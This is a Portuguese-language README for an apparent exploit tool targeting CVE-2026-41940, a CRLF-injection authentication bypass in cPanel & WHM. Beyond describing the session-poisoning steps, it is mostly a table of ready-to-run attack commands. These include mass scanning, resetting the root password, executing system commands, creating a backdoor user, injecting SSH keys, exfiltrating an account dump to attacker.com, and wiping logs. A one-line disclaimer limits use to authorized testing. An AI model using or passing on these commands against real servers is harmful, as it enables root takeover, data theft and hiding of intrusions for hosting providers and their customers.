
Exploit PoC para CVE-2026-41940, uma bypass de autenticação no cPanel & WHM via injeção CRLF. Inclui varredura em massa, ações pós-exploração e um shell interativo para testes autorizados.
Ferramenta por: Ishan Oshada | GitHub
⚠️ APENAS PARA TESTES DE SEGURANÇA AUTORIZADOS. Uso não autorizado é ilegal.


CVE-2026-41940 é uma vulnerabilidade de injeção CRLF no cPanel & WHM (versões < 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5).
A função saveSession() grava os dados da sessão após aplicar filter_sessiondata(), mas o filtro é aplicado tarde demais. Ao injetar caracteres CRLF (\r\n) dentro do cabeçalho Authorization: Basic, um atacante pode envenenar o arquivo de sessão em disco com pares chave-valor arbitrários (por exemplo, hasroot=1, tfa_verified=1, user=root).
Quando a sessão envenenada é posteriormente carregada, o cPanel/WHM concede acesso total de root sem qualquer senha.
| Estágio | Ação | Descrição |
|---|---|---|
| 1 | POST /login/?login_only=1 | Solicitar cookie de sessão pré-autenticação com credenciais incorretas |
| 2 | GET / + cabeçalho Authorization com CRLF | Envenenar o arquivo de sessão com hasroot=1, user=root, etc. |
| 3 | GET /scripts2/listaccts | Forçar o cache de sessão a recarregar o arquivo envenenado (propagação) |
| 4 | GET /cpsess<TOKEN>/json-api/version | Verificar acesso root – sucesso = 200 + dados da versão |
--verbose) – mostra requisições/respostas HTTP completasgit clone https://github.com/ishanoshada/CVE-2026-41940-Exploit-PoC.git
cd CVE-2026-41940-Exploit-PoC
go build -o cpanel_sniper.exe main.go
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
go run main.go -u https://target.com:2087
Em vez de compilar a partir do código-fonte, você pode baixar os executáveis estáveis mais recentes diretamente do repositório. Eles são gerados automaticamente a cada atualização:
| Plataforma | Localização |
|---|---|
| Windows (x64) | /bin/windows_x64/cpanel_sniper.exe |
| Linux (x64) | /bin/linux_x64/cpanel_sniper |
| Linux (ARM64) | /bin/linux_arm64/cpanel_sniper |
| macOS (Intel) | /bin/mac_intel/cpanel_sniper |
| macOS (M1/M2/M3) | /bin/mac_m1_m2/cpanel_sniper |
Nota: Se estiver usando Linux ou macOS, lembre-se de conceder permissões de execução após o download:
# Varredura básica
go run main.go -u https://target.com:2087
# Listar todas as contas cPanel
go run main.go -u https://target.com:2087 -action list
# Shell WHM interativo
go run main.go -u https://target.com:2087 -action shell
# Varredura em massa com urls.txt
go run main.go -l urls.txt -t 20 -o results.json
| # | Finalidade | Comando |
|---|---|---|
| 1 | Varredura básica de alvo único | go run main.go -u https://target.com:2087 |
| 2 | Listar todas as contas cPanel | go run main.go -u https://target.com:2087 -action list |
| 3 | Alterar senha de root | go run main.go -u https://target.com:2087 -action passwd -passwd "NewP@ssw0rd!2006" |
| 4 | Executar comando do sistema | go run main.go -u https://target.com:2087 -action cmd -cmd "id && whoami" |
| 5 | Obter informações do servidor | go run main.go -u https://target.com:2087 -action info |
| 6 | Criar usuário backdoor | go run main.go -u https://target.com:2087 -action adduser -new-user backdoor -new-domain backdoor.com -passwd "Pass123!2006" |
| 7 | Criar token de API (furtivo) | go run main.go -u https://target.com:2087 -action apitoken -tokenname mytoken |
| 8 | Injetar chave SSH | go run main.go -u https://target.com:2087 -action sshkey -sshkey "ssh-rsa AAAAB3NzaC1yc2E..." |
| 9 | Despejar e exfiltrar conta | go run main.go -u https://target.com:2087 -action dumpacct -dumpuser victim -exfil https://attacker.com/upload |
| 10 | Apagar logs e cobrir rastros | go run main.go -u https://target.com:2087 -action wipe |
| 11 | Shell WHM interativo | go run main.go -u https://target.com:2087 -action shell |
| 12 | Varredura em massa a partir de arquivo | go run main.go -l urls.txt -t 20 -o results.json |
| 13 | Salvar resultados em JSON | go run main.go -u https://target.com:2087 -o scan_results.json |
| 14 | Ativar depuração verbosa | go run main.go -u https://target.com:2087 --verbose |
| 15 | Pipe de outras ferramentas | cat urls.txt | go run main.go -t 20 |
| 16 | Aumentar timeout | go run main.go -u https://target.com:2087 -timeout 30 |